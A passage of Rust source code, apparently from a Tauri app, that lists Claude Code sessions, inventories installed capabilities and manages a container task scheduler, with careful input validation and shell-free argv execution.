== '_'); + if valid { + Ok(()) + } else { + Err(format!("Invalid scheduler task id: {:?}", id)) + } +} + +/// Strict allowlist for session ids (Claude Code uses UUIDs). +fn validate_session_id(id: &str) -> Result<(), String> { + let valid = !id.is_empty() + && id.len() <= 64 + && id.starts_with(|c: char| c.is_ascii_alphanumeric()) + && id.chars().all(|c| c.is_ascii_hexdigit() || c == '-'); + if valid { + Ok(()) + } else { + Err(format!("Invalid session id: {:?}", id)) + } +} + +/// Run `triple-c-scheduler ` as a bare argv vector — no shell is +/// involved, so caller-supplied ids cannot be interpreted as shell syntax. +/// Returns the combined output, erroring with it on a non-zero exit. +async fn run_scheduler(container_id: &str, args: Vec) -> Result { + let mut cmd = vec!["triple-c-scheduler".to_string()]; + cmd.extend(args); + + let (output, exit_code) = exec_oneshot_env_status(container_id, cmd, home_env()).await?; + if exit_code != 0 { + let detail = output.trim(); + return Err(if detail.is_empty() { + format!("triple-c-scheduler failed (exit {})", exit_code) + } else { + detail.to_string() + }); + } + Ok(output) +} + +// ───────────────────────────────────────────────────────────────────────────── +// 1. Sessions +// ───────────────────────────────────────────────────────────────────────────── + +/// Emits a JSON array describing the newest transcripts on the config volume. +/// +/// Layout (verified empirically against Claude Code 2.1.226): transcripts are +/// JSON Lines at `~/.claude/projects//.jsonl`. +/// +/// Metadata is pulled with a single `grep -o` pass per file that yields whole +/// JSON key/value fragments; each fragment is already a valid JSON object body, +/// so wrapping it in braces and letting `jq` merge them decodes escapes +/// correctly without ever parsing a full transcript line-by-line. Later records +/// win (so the newest title/prompt is used) except `cwd`, where the first +/// record wins (the directory the session actually started in). Malformed lines +/// simply fail to match and are skipped. +const SESSIONS_SCRIPT: &str = r#"exec 2>/dev/null +set -u +ROOT="$HOME/.claude/projects" +[ -d "$ROOT" ] || { echo '[]'; exit 0; } +TAB=$(printf '\t') +find "$ROOT" -mindepth 2 -maxdepth 2 -name '*.jsonl' -type f -printf '%T@\t%s\t%p\n' \ + | sort -rn | head -__MAX__ \ + | while IFS="$TAB" read -r mtime size path; do + [ -n "${path:-}" ] || continue + [ "${size:-0}" -gt 0 ] || continue + id=$(basename "$path" .jsonl) + meta=$(grep -aoE '"(cwd|aiTitle|customTitle|agentName|lastPrompt|summary)":"([^"\\]|\\.)*"' "$path" \ + | sed 's/^/{/; s/$/}/' \ + | jq -c -s '(reduce .[] as $o ({}; . + $o)) + (([.[] | select(has("cwd"))] | first) // {})') || meta='' + [ -n "$meta" ] || meta='{}' + count=$(grep -acE '"type":"(user|assistant)"' "$path") || count=0 + jq -c -n --arg id "$id" --arg mt "${mtime%%.*}" --arg sz "$size" --arg mc "$count" --argjson meta "$meta" \ + '{id: $id, + modified_epoch: ($mt | tonumber), + size_bytes: ($sz | tonumber), + message_count: ($mc | tonumber), + name: ($meta.customTitle // $meta.agentName // null), + summary: ($meta.aiTitle // $meta.summary // $meta.lastPrompt // null), + cwd: ($meta.cwd // null)}' + done | jq -s '.' +"#; + +#[derive(Debug, Deserialize)] +struct RawSession { + id: String, + modified_epoch: i64, + size_bytes: u64, + message_count: u64, + name: Option, + summary: Option, + cwd: Option, +} + +/// List the Claude Code sessions stored inside a project's container, newest +/// first, capped at [`MAX_SESSIONS`]. +/// +/// Returns an empty vec (no error) when the container is stopped or has never +/// been started. +#[tauri::command] +pub async fn list_claude_sessions( + project_id: String, + state: State<'_, AppState>, +) -> Result, String> { + let container_id = match running_container_for(&project_id, &state).await? { + Some(id) => id, + None => return Ok(Vec::new()), + }; + + // `head -N` is the only piece of the script that varies, and it comes from + // a const usize — never from the caller. + let script = SESSIONS_SCRIPT.replace("__MAX__", &MAX_SESSIONS.to_string()); + + let raw = run_script(&container_id, script).await?; + let sessions: Vec = parse_or_default(&raw, "session list"); + + Ok(sessions + .into_iter() + .map(|s| ClaudeSession { + id: s.id, + name: s.name.filter(|v| !v.is_empty()), + summary: s.summary.filter(|v| !v.is_empty()), + last_modified: epoch_to_iso(s.modified_epoch), + size_bytes: s.size_bytes, + message_count: s.message_count, + cwd: s.cwd.filter(|v| !v.is_empty()), + }) + .collect()) +} + +/// Build the shell command line that resumes a session, for the frontend to +/// drop into a terminal. +/// +/// The flag spelling was checked against the CLI in the container image: +/// `claude --resume ` (short form `-r`). +/// +/// The project's permission mode is folded in so the resumed session behaves +/// like a freshly opened one. The session id is validated first, and the +/// returned string contains only allowlisted characters. +#[tauri::command] +pub async fn resume_session_command( + project_id: String, + session_id: String, + state: State<'_, AppState>, +) -> Result { + validate_session_id(&session_id)?; + + let project = state + .projects_store + .get(&project_id) + .ok_or_else(|| format!("Project {} not found", project_id))?; + + let mut parts = vec!["claude".to_string()]; + parts.extend(project.effective_permission_mode().cli_args()); + parts.push("--resume".to_string()); + parts.push(session_id); + + Ok(parts.join(" ")) +} + +// ───────────────────────────────────────────────────────────────────────────── +// 2. Capabilities +// ───────────────────────────────────────────────────────────────────────────── + +/// Emits a single JSON object with one group per capability category. +/// +/// User scope is `~/.claude`. Project scope is `/workspace/.claude` *and* +/// `/workspace//.claude` — Triple-C mounts each project path at +/// `/workspace/`, so a repo's own `.claude` dir lives one level +/// down, not at the workspace root. +/// +/// Frontmatter `name`/`description` are pulled with a small `awk` reader +/// (first `---` block only, first matching key, surrounding quotes stripped); +/// no YAML crate is involved. Files without frontmatter fall back to their +/// path-derived name. +const CAPABILITIES_SCRIPT: &str = r#"exec 2>/dev/null +set -u +USER_BASE="$HOME/.claude" + +# Project-scoped config roots: the workspace root plus each mounted project dir. +proj_bases() { + [ -d /workspace/.claude ] && echo /workspace/.claude + for d in /workspace/*/; do + [ -d "$d/.claude" ] && echo "${d}.claude" + done +} + +# fm — value of a YAML frontmatter key, or nothing. +fm() { + [ -f "$1" ] || return 0 + head -1 "$1" | grep -q '^---[[:space:]]*$' || return 0 + awk -v key="$2" ' + NR == 1 { next } + /^---[[:space:]]*$/ { exit } + { + pfx = key ":" + if (index($0, pfx) == 1) { + v = substr($0, length(pfx) + 1) + sub(/^[ \t]+/, "", v); sub(/[ \t\r]+$/, "", v) + if (v ~ /^".*"$/) v = substr(v, 2, length(v) - 2) + else if (v ~ /^\047.*\047$/) v = substr(v, 2, length(v) - 2) + print v + exit + } + }' "$1" +} + +emit_item() { + jq -c -n --arg n "$1" --arg d "$2" --arg s "$3" \ + '{name: $n, description: (if $d == "" then null else $d end), scope: $s}' +} + +collect_skills() { + base="$1"; scope="$2" + [ -d "$base/skills" ] || return 0 + for d in "$base"/skills/*/; do + [ -f "$d/SKILL.md" ] || continue + n=$(fm "$d/SKILL.md" name) + [ -n "$n" ] || n=$(basename "$d") + emit_item "$n" "$(fm "$d/SKILL.md" description)" "$scope" + done +} + +collect_md() { + base="$1"; scope="$2"; sub="$3" + [ -d "$base/$sub" ] || return 0 + find "$base/$sub" -name '*.md' -type f | sort | while read -r f; do + rel=${f#"$base/$sub/"}; rel=${rel%.md} + n=$(fm "$f" name) + [ -n "$n" ] || n="$rel" + emit_item "$n" "$(fm "$f" description)" "$scope" + done +} + +# One item per hook event; `count` carries the number of individual handlers so +# the caller can sum them into the group total. +collect_hooks() { + base="$1"; scope="$2" + for sf in "$base/settings.json" "$base/settings.local.json"; do + [ -f "$sf" ] || continue + jq -c --arg s "$scope" --arg f "$(basename "$sf")" ' + (.hooks // {}) | to_entries[] | + ([.value[]? | (.hooks // []) | length] | add // 0) as $n | + {name: .key, + description: ($f + ": " + ($n | tostring) + " handler(s)"), + scope: $s, + count: $n}' "$sf" + done +} + +collect_plugins() { + ip="$USER_BASE/plugins/installed_plugins.json" + [ -f "$ip" ] && jq -c '(.plugins // {}) | to_entries[] | + {name: .key, + description: ((.value[0].version // "") | if . == "" then null else "v" + . end), + scope: (.value[0].scope // "user")}' "$ip" + for cf in "$USER_BASE/settings.json" "$HOME/.claude.json"; do + [ -f "$cf" ] || continue + jq -c '(.enabledPlugins // {}) | to_entries[] | select(.value == true) | + {name: .key, description: "enabled", scope: "user"}' "$cf" + done +} + +collect_mcp() { + if [ -f "$HOME/.claude.json" ]; then + jq -c '(.mcpServers // {}) | to_entries[] | + {name: .key, description: ((.value.command // .value.url // .value.type) // null), + scope: "user"}' "$HOME/.claude.json" + jq -c '(.projects // {}) | to_entries[] | (.value.mcpServers // {}) | to_entries[] | + {name: .key, description: ((.value.command // .value.url // .value.type) // null), + scope: "project"}' "$HOME/.claude.json" + fi + for mf in /workspace/.mcp.json /workspace/*/.mcp.json; do + [ -f "$mf" ] || continue + jq -c '(.mcpServers // {}) | to_entries[] | + {name: .key, description: ((.value.command // .value.url // .value.type) // null), + scope: "project"}' "$mf" + done +} + +group() { jq -s 'unique_by([.scope, .name]) | {count: length, items: .}'; } + +all_skills() { collect_skills "$USER_BASE" user; proj_bases | while read -r b; do collect_skills "$b" project; done; } +all_agents() { collect_md "$USER_BASE" user agents; proj_bases | while read -r b; do collect_md "$b" project agents; done; } +all_commands() { collect_md "$USER_BASE" user commands; proj_bases | while read -r b; do collect_md "$b" project commands; done; } +all_hooks() { collect_hooks "$USER_BASE" user; proj_bases | while read -r b; do collect_hooks "$b" project; done; } + +jq -c -n \ + --argjson skills "$(all_skills | group)" \ + --argjson agents "$(all_agents | group)" \ + --argjson commands "$(all_commands | group)" \ + --argjson hooks "$(all_hooks | jq -s '{count: ([.[].count] | add // 0), items: map(del(.count))}')" \ + --argjson plugins "$(collect_plugins | group)" \ + --argjson mcp "$(collect_mcp | group)" \ + '{skills: $skills, agents: $agents, commands: $commands, + hooks: $hooks, plugins: $plugins, mcp_servers: $mcp}' +"#; + +/// Inventory the Claude Code capabilities installed inside a project's +/// container. A stopped container yields all-zero groups, not an error. +#[tauri::command] +pub async fn list_container_capabilities( + project_id: String, + state: State<'_, AppState>, +) -> Result { + let container_id = match running_container_for(&project_id, &state).await? { + Some(id) => id, + None => return Ok(ContainerCapabilities::default()), + }; + + let raw = run_script(&container_id, CAPABILITIES_SCRIPT).await?; + Ok(parse_or_default(&raw, "container capabilities")) +} + +// ───────────────────────────────────────────────────────────────────────────── +// 3. Scheduler +// ───────────────────────────────────────────────────────────────────────────── + +/// Emits the scheduler's tasks as JSON, mirroring its on-disk schema: +/// `{id, name, prompt, schedule, type, at, created_at, enabled, working_dir}`. +/// +/// `last_run` is not in that schema, so it is derived from the mtime of the +/// newest file in `~/.claude/scheduler/logs//`. +const SCHEDULER_LIST_SCRIPT: &str = r#"exec 2>/dev/null +set -u +TASKS="$HOME/.claude/scheduler/tasks" +LOGS="$HOME/.claude/scheduler/logs" +[ -d "$TASKS" ] || { echo '[]'; exit 0; } +for f in "$TASKS"/*.json; do + [ -f "$f" ] || continue + id=$(jq -r '.id // ""' "$f") || continue + [ -n "$id" ] || id=$(basename "$f" .json) + last=$(find "$LOGS/$id" -name '*.log' -type f -printf '%T@\n' | sort -rn | head -1) + jq -c --arg fallback_id "$id" --arg lr "${last%%.*}" '{ + id: (if (.id // "") == "" then $fallback_id else .id end), + name: (.name // ""), + prompt: (.prompt // ""), + schedule: (.schedule // ""), + task_type: (.type // "recurring"), + at: (if (.at // "") == "" then null else .at end), + enabled: (.enabled == true), + working_dir: (.working_dir // "/workspace"), + created_at: (.created_at // null), + last_run_epoch: (if $lr == "" then null else ($lr | tonumber) end) + }' "$f" +done | jq -s 'sort_by(.name, .id)' +"#; + +/// Emits the newest notification files as structured JSON. The runner writes +/// them as a fixed plain-text block (`Task:`/`Status:`/`Time:`/`Type:` then a +/// `Summary:` body), which is parsed here; the verbatim text is kept too. +const SCHEDULER_NOTIFICATIONS_SCRIPT: &str = r#"exec 2>/dev/null +set -u +NDIR="$HOME/.claude/scheduler/notifications" +[ -d "$NDIR" ] || { echo '[]'; exit 0; } +TAB=$(printf '\t') +find "$NDIR" -maxdepth 1 -name '*.notify' -type f -printf '%T@\t%p\n' \ + | sort -rn | head -__MAX__ \ + | while IFS="$TAB" read -r mtime path; do + [ -f "$path" ] || continue + base=$(basename "$path" .notify) + jq -c -n --arg tid "${base%%_*}" --arg mt "${mtime%%.*}" --rawfile body "$path" '{ + task_id: $tid, + created_epoch: ($mt | tonumber), + task_name: (($body | capture("Task:[ \t]+(?.*)") | .v | sub("[ \t]+$"; "")) // null), + status: (($body | capture("Status:[ \t]+(?.*)") | .v | sub("[ \t]+$"; "")) // null), + time: (($body | capture("Time:[ \t]+(?.*)") | .v | sub("[ \t]+$"; "")) // null), + task_type: (($body | capture("Type:[ \t]+(?.*)") | .v | sub("[ \t]+$"; "")) // null), + summary: (($body | capture("Summary:\n(?[\\s\\S]*)") | .v) // null), + body: $body + }' + done | jq -s '.' +"#; + +#[derive(Debug, Deserialize)] +struct RawScheduledTask { + id: String, + name: String, + prompt: String, + schedule: String, + task_type: String, + at: Option, + enabled: bool, + working_dir: String, + created_at: Option, + last_run_epoch: Option, +} + +#[derive(Debug, Deserialize)] +struct RawNotification { + task_id: String, + created_epoch: i64, + task_name: Option, + status: Option, + time: Option, + task_type: Option, + summary: Option, + body: String, +} + +/// List the container's scheduled tasks. Stopped container → empty vec. +#[tauri::command] +pub async fn list_scheduled_tasks( + project_id: String, + state: State<'_, AppState>, +) -> Result, String> { + let container_id = match running_container_for(&project_id, &state).await? { + Some(id) => id, + None => return Ok(Vec::new()), + }; + + let raw = run_script(&container_id, SCHEDULER_LIST_SCRIPT).await?; + let tasks: Vec = parse_or_default(&raw, "scheduled tasks"); + + Ok(tasks + .into_iter() + .map(|t| { + // A one-shot task's `at` time is its next (and only) run. Recurring + // cron expressions are left uncomputed rather than guessed at. + let next_run = if t.task_type == "once" && t.enabled { + t.at.clone() + } else { + None + }; + ScheduledTask { + id: t.id, + name: t.name, + prompt: t.prompt, + schedule: t.schedule, + task_type: t.task_type, + at: t.at, + enabled: t.enabled, + working_dir: t.working_dir, + created_at: t.created_at, + last_run: t.last_run_epoch.map(epoch_to_iso), + next_run, + } + }) + .collect()) +} + +/// Tail the most recent log for one task, via the scheduler's own `logs` +/// subcommand. Stopped container → empty string. +#[tauri::command] +pub async fn get_scheduled_task_log( + project_id: String, + task_id: String, + tail_lines: Option, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + // Clamped, and an integer by type — cannot carry shell syntax. + let tail = tail_lines.unwrap_or(200).clamp(1, 5000); + + let container_id = match running_container_for(&project_id, &state).await? { + Some(id) => id, + None => return Ok(String::new()), + }; + + run_scheduler( + &container_id, + vec![ + "logs".to_string(), + "--id".to_string(), + task_id, + "--tail".to_string(), + tail.to_string(), + ], + ) + .await +} + +/// Read the scheduler's pending completion notifications, newest first. +/// Stopped container → empty vec. +#[tauri::command] +pub async fn get_scheduler_notifications( + project_id: String, + state: State<'_, AppState>, +) -> Result, String> { + let container_id = match running_container_for(&project_id, &state).await? { + Some(id) => id, + None => return Ok(Vec::new()), + }; + + let script = + SCHEDULER_NOTIFICATIONS_SCRIPT.replace("__MAX__", &MAX_NOTIFICATIONS.to_string()); + + let raw = run_script(&container_id, script).await?; + let notifications: Vec = parse_or_default(&raw, "scheduler notifications"); + + Ok(notifications + .into_iter() + .map(|n| SchedulerNotification { + task_id: n.task_id, + task_name: n.task_name, + status: n.status, + time: n.time, + task_type: n.task_type, + summary: n.summary.map(|s| s.trim_end().to_string()).filter(|s| !s.is_empty()), + body: n.body, + created_at: epoch_to_iso(n.created_epoch), + }) + .collect()) +} + +// ── Task creation: input validation ────────────────────────────────────────── + +/// Which of the scheduler's two mutually-exclusive schedule flags to use. +/// +/// `triple-c-scheduler add` takes either `--schedule ""` (recurring) or +/// `--at "YYYY-MM-DD HH:MM"` (one-shot) and errors if given both or neither. +/// Modelling that as an enum makes the invalid combinations unrepresentable. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ScheduleKind { + Recurring, + Once, +} + +impl ScheduleKind { + fn flag(self) -> &'static str { + match self { + ScheduleKind::Recurring => "--schedule", + ScheduleKind::Once => "--at", + } + } +} + +/// A task's fields after validation and normalisation. Constructing one is the +/// only way to build the argv for `triple-c-scheduler add`. +#[derive(Debug, Clone, PartialEq, Eq)] +struct ValidatedTaskInput { + name: String, + prompt: String, + kind: ScheduleKind, + /// Normalised cron expression or `YYYY-MM-DD HH:MM` timestamp. + schedule: String, + working_dir: String, +} + +impl ValidatedTaskInput { + /// The argv for `triple-c-scheduler add …`, one element per value. + /// + /// Note what is *not* here: no quoting, no escaping, no `sh -c`. Every + /// field is its own argv element, so quotes, `;`, `$(…)`, backticks and + /// newlines inside a prompt reach the scheduler as literal data. + fn add_args(&self) -> Vec { + vec![ + "add".to_string(), + "--name".to_string(), + self.name.clone(), + "--prompt".to_string(), + self.prompt.clone(), + self.kind.flag().to_string(), + self.schedule.clone(), + "--working-dir".to_string(), + self.working_dir.clone(), + ] + } +} + +/// Reject control characters. Single-line fields admit none at all; the prompt +/// is allowed tab/newline (a multi-line prompt is normal) but never a NUL, +/// which cannot survive the exec API's C strings. +fn reject_control_chars(value: &str, field: &str, allow_newlines: bool) -> Result<(), String> { + let offender = value.chars().find(|c| { + c.is_control() && !(allow_newlines && matches!(c, '\n' | '\r' | '\t')) + }); + match offender { + Some(c) => Err(format!( + "{} cannot contain the control character {:?}.", + field, c + )), + None => Ok(()), + } +} + +fn validate_task_name(name: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err("Task name is required.".to_string()); + } + if name.chars().count() > MAX_TASK_NAME_LEN { + return Err(format!( + "Task name is too long (max {} characters).", + MAX_TASK_NAME_LEN + )); + } + reject_control_chars(name, "Task name", false)?; + // The scheduler assigns `--name`'s value positionally, so a leading dash is + // not exploitable today — but it would be the moment that parser changed, + // and a task called `--id` is a bad idea regardless. + if name.starts_with('-') { + return Err("Task name cannot start with “-”.".to_string()); + } + Ok(name.to_string()) +} + +fn validate_task_prompt(prompt: &str) -> Result { + let prompt = prompt.trim(); + if prompt.is_empty() { + return Err("Task prompt is required.".to_string()); + } + if prompt.chars().count() > MAX_TASK_PROMPT_LEN { + return Err(format!( + "Task prompt is too long (max {} characters).", + MAX_TASK_PROMPT_LEN + )); + } + reject_control_chars(prompt, "Task prompt", true)?; + Ok(prompt.to_string()) +} + +/// `None`/blank falls back to the scheduler's own default, `/workspace`. +fn validate_working_dir(dir: Option<&str>) -> Result { + let dir = dir.map(str::trim).filter(|d| !d.is_empty()).unwrap_or(DEFAULT_WORKING_DIR); + if dir.chars().count() > MAX_WORKING_DIR_LEN { + return Err(format!( + "Working directory is too long (max {} characters).", + MAX_WORKING_DIR_LEN + )); + } + reject_control_chars(dir, "Working directory", false)?; + if !dir.starts_with('/') { + return Err("Working directory must be an absolute path inside the container, e.g. /workspace.".to_string()); + } + if dir.split('/').any(|segment| segment == "..") { + return Err("Working directory cannot contain “..”.".to_string()); + } + Ok(dir.to_string()) +} + +/// One cron field's shape: its human name, its numeric bounds, and the +/// three-letter aliases it accepts (`JAN…DEC`, `SUN…SAT`). +struct CronField { + label: &'static str, + min: u32, + max: u32, + names: &'static [&'static str], + /// Numeric value of `names[0]` (1 for January, 0 for Sunday). + name_base: u32, +} + +const MONTH_NAMES: [&str; 12] = [ + "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec", +]; +const DOW_NAMES: [&str; 7] = ["sun", "mon", "tue", "wed", "thu", "fri", "sat"]; + +/// Bounds match Debian/vixie cron, which is what the container runs: day of +/// week accepts both 0 and 7 for Sunday, and month/day-of-week accept names. +const CRON_FIELDS: [CronField; 5] = [ + CronField { label: "minute", min: 0, max: 59, names: &[], name_base: 0 }, + CronField { label: "hour", min: 0, max: 23, names: &[], name_base: 0 }, + CronField { label: "day of month", min: 1, max: 31, names: &[], name_base: 0 }, + CronField { label: "month", min: 1, max: 12, names: &MONTH_NAMES, name_base: 1 }, + CronField { label: "day of week", min: 0, max: 7, names: &DOW_NAMES, name_base: 0 }, +]; + +/// Largest `/step` accepted. Cron itself tolerates a step wider than the field +/// (`*/61` is legal, it just means "once"), so this only fences off absurdity. +const MAX_CRON_STEP: u32 = 1_000; + +fn cron_value(field: &CronField, token: &str) -> Result { + if !token.is_empty() && token.chars().all(|c| c.is_ascii_digit()) { + // `token` is all digits; a long run of them would overflow, so bound it + // before parsing rather than after. + let value = token + .parse::() + .map_err(|_| format!("{:?} is out of range for the {} field.", token, field.label))?; + if value < field.min || value > field.max { + return Err(format!( + "{:?} is out of range for the {} field ({}–{}).", + token, field.label, field.min, field.max + )); + } + return Ok(value); + } + + let lowered = token.to_ascii_lowercase(); + if let Some(index) = field.names.iter().position(|n| *n == lowered) { + return Ok(index as u32 + field.name_base); + } + + Err(format!( + "{:?} is not valid in the {} field.", + token, field.label + )) +} + +/// One comma-separated element of a cron field: `*`, `5`, `1-5`, `*/10`, +/// `1-5/2`, or a name. A step is only legal after `*` or a range — vixie cron +/// rejects `1/2`, so accepting it here would produce a crontab it refuses. +fn validate_cron_element(field: &CronField, element: &str) -> Result<(), String> { + if element.is_empty() { + return Err(format!("Empty value in the {} field.", field.label)); + } + + let (base, step) = match element.split_once('/') { + Some((base, step)) => (base, Some(step)), + None => (element, None), + }; + + if let Some(step) = step { + if step.is_empty() || step.len() > 4 || !step.chars().all(|c| c.is_ascii_digit()) { + return Err(format!( + "{:?} in the {} field: a step must be a number, like */5.", + element, field.label + )); + } + let step: u32 = step.parse().unwrap_or(0); + if step == 0 || step > MAX_CRON_STEP { + return Err(format!( + "{:?} in the {} field: a step must be between 1 and {}.", + element, field.label, MAX_CRON_STEP + )); + } + if base != "*" && !base.contains('-') { + return Err(format!( + "{:?} in the {} field: a step can only follow * or a range, like */5 or 1-5/2.", + element, field.label + )); + } + } + + if base == "*" { + return Ok(()); + } + match base.split_once('-') { + Some((from, to)) => { + cron_value(field, from)?; + cron_value(field, to)?; + } + None => { + cron_value(field, base)?; + } + } + Ok(()) +} + +/// Validate a cron expression and return it normalised to exactly five fields +/// separated by single spaces. +/// +/// Two reasons this runs host-side instead of trusting the container: +/// +/// 1. The scheduler does **not** validate the expression. It writes the task +/// JSON, then rebuilds the whole crontab and pipes it to `crontab`, which +/// rejects the *entire file* if any single line is malformed — and the +/// rebuild swallows that error (`|| true`). One bad expression therefore +/// silently unschedules every other task in the container. Verified against +/// the real CLI. +/// 2. The normalised return value is what gets sent onward, so no newline the +/// user typed can reach a crontab line. +fn validate_cron_expression(expression: &str) -> Result { + if expression.len() > MAX_CRON_LEN { + return Err(format!( + "Cron expression is too long (max {} characters).", + MAX_CRON_LEN + )); + } + let fields: Vec<&str> = expression.split_whitespace().collect(); + if fields.len() != 5 { + return Err(format!( + "A cron schedule needs exactly 5 fields (minute hour day-of-month month day-of-week); got {}.", + fields.len() + )); + } + + for (spec, field) in CRON_FIELDS.iter().zip(fields.iter()) { + for element in field.split(',') { + validate_cron_element(spec, element)?; + } + } + + Ok(fields.join(" ")) +} + +/// Validate the one-shot `--at` timestamp. +/// +/// The scheduler matches `^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$` and +/// converts it to a cron expression, so the shape is checked strictly here +/// (chrono's `%m` would happily accept a one-digit month the scheduler will +/// reject) and chrono is used only to reject impossible dates like `02-30`. +fn validate_at_timestamp(at: &str) -> Result { + let at = at.trim(); + let well_formed = at.len() == 16 + && at.as_bytes().iter().enumerate().all(|(i, b)| match i { + 4 | 7 => *b == b'-', + 10 => *b == b' ', + 13 => *b == b':', + _ => b.is_ascii_digit(), + }); + if !well_formed { + return Err(format!( + "One-shot time must look like \"YYYY-MM-DD HH:MM\"; got {:?}.", + at + )); + } + chrono::NaiveDateTime::parse_from_str(at, "%Y-%m-%d %H:%M") + .map_err(|_| format!("{:?} is not a real date and time.", at))?; + Ok(at.to_string()) +} + +fn validate_task_input( + name: &str, + prompt: &str, + kind: ScheduleKind, + schedule: &str, + working_dir: Option<&str>, +) -> Result { + Ok(ValidatedTaskInput { + name: validate_task_name(name)?, + prompt: validate_task_prompt(prompt)?, + kind, + schedule: match kind { + ScheduleKind::Recurring => validate_cron_expression(schedule)?, + ScheduleKind::Once => validate_at_timestamp(schedule)?, + }, + working_dir: validate_working_dir(working_dir)?, + }) +} + +/// Pull the new task's id out of `add`'s output block, which starts: +/// +/// ```text +/// Task created: +/// ID: a1b2c3d4 +/// Name: … +/// ``` +/// +/// The first `ID:` line wins (the echoed prompt comes later and could contain +/// anything), and the result still has to pass [`validate_task_id`]. +fn parse_created_task_id(output: &str) -> Option { + output + .lines() + .find_map(|line| line.trim().strip_prefix("ID:")) + .map(|value| value.trim().to_string()) + .filter(|id| validate_task_id(id).is_ok()) +} + +// ── Mutating scheduler commands ────────────────────────────────────────────── +// +// These delegate to `triple-c-scheduler`'s own subcommands (which also rebuild +// the crontab) instead of editing its JSON, and each runs as a bare argv vector +// with a validated id. + +/// Create a task via the scheduler's `add`, returning the new task's id. +#[tauri::command] +pub async fn add_scheduled_task( + project_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + state: State<'_, AppState>, +) -> Result { + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let task_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id. Its output was: {}", + output.trim() + ) + })?; + + log::info!( + "Added scheduler task {} ({:?}) in project {}", + task_id, + input.name, + project_id + ); + Ok(task_id) +} + +/// Replace an existing task with an edited copy, returning the **new** task id. +/// +/// `triple-c-scheduler` has no `edit`/`update` subcommand — its subcommands are +/// add / remove / enable / disable / list / logs / run / notifications — and +/// hand-editing its task JSON from here would bypass the crontab rebuild that +/// every one of those does. So an edit is `add` followed by `remove`: +/// +/// * **In that order**, so a rejected `add` leaves the original untouched +/// rather than deleting a prompt the user cannot get back. The cost is a +/// sub-second window in which both tasks are in the crontab. +/// * The task therefore gets a **new id**. Its old log directory +/// (`~/.claude/scheduler/logs//`) stays behind under the old id; the +/// UI warns about this before saving. +/// * `enabled` is carried over explicitly, because `add` always creates an +/// enabled task and silently re-enabling a task the user had switched off +/// would schedule a run they did not ask for. +#[tauri::command] +pub async fn update_scheduled_task( + project_id: String, + task_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + enabled: Option, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let new_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id, so the original task was left in place. Its output was: {}", + output.trim() + ) + })?; + + run_scheduler( + &container_id, + vec!["remove".to_string(), "--id".to_string(), task_id.clone()], + ) + .await + .map_err(|e| { + format!( + "Saved the edited task as {}, but could not remove the original {}: {} — remove it by hand or both will run.", + new_id, task_id, e + ) + })?; + + if enabled == Some(false) { + if let Err(e) = run_scheduler( + &container_id, + vec!["disable".to_string(), "--id".to_string(), new_id.clone()], + ) + .await + { + // The edit itself succeeded; the list refresh will show the task as + // enabled, which is visible rather than silent. + log::warn!("Could not re-disable edited task {}: {}", new_id, e); + } + } + + log::info!( + "Updated scheduler task {} → {} in project {}", + task_id, + new_id, + project_id + ); + Ok(new_id) +} + +/// Enable or disable a task via the scheduler's `enable` / `disable`. +#[tauri::command] +pub async fn set_scheduled_task_enabled( + project_id: String, + task_id: String, + enabled: bool, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let container_id = require_running_container(&project_id, &state).await?; + + let subcommand = if enabled { "enable" } else { "disable" }; + let output = run_scheduler( + &container_id, + vec![subcommand.to_string(), "--id".to_string(), task_id], + ) + .await?; + Ok(output.trim().to_string()) +} + +/// Trigger a task immediately via the scheduler's `run`. +/// +/// The run itself invokes Claude Code and can take minutes, so the exec is +/// started **detached**: Docker keeps it alive after this call returns and the +/// UI is not blocked. Progress shows up through `get_scheduled_task_log` / +/// `get_scheduler_notifications`, exactly as for a cron-triggered run. +#[tauri::command] +pub async fn run_scheduled_task_now( + project_id: String, + task_id: String, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let container_id = require_running_container(&project_id, &state).await?; + + let docker = get_docker()?; + let exec = docker + .create_exec( + &container_id, + CreateExecOptions { + attach_stdout: Some(false), + attach_stderr: Some(false), + // Argv vector — no shell, so `task_id` is inert as data. + cmd: Some(vec![ + "triple-c-scheduler".to_string(), + "run".to_string(), + "--id".to_string(), + task_id.clone(), + ]), + env: Some(home_env()), + user: Some("claude".to_string()), + working_dir: Some("/workspace".to_string()), + ..Default::default() + }, + ) + .await + .map_err(|e| format!("Failed to create exec: {}", e))?; + + docker + .start_exec( + &exec.id, + Some(StartExecOptions { + detach: true, + ..Default::default() + }), + ) + .await + .map_err(|e| format!("Failed to start task: {}", e))?; + + log::info!( + "Triggered scheduler task {} in project {} (detached exec {})", + task_id, + project_id, + exec.id + ); + Ok(format!("Task {} started.", task_id)) +} + +/// Remove a task via the scheduler's `remove` (which also rebuilds the crontab). +#[tauri::command] +pub async fn remove_scheduled_task( + project_id: String, + task_id: String, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler( + &container_id, + vec!["remove".to_string(), "--id".to_string(), task_id], + ) + .await?; + Ok(output.trim().to_string()) +} + +/// Clear all pending notifications via the scheduler's `notifications --clear`. +#[tauri::command] +pub async fn clear_scheduler_notifications( + project_id: String, + state: State<'_, AppState>, +) -> Result<(), String> { + let container_id = require_running_container(&project_id, &state).await?; + run_scheduler( + &container_id, + 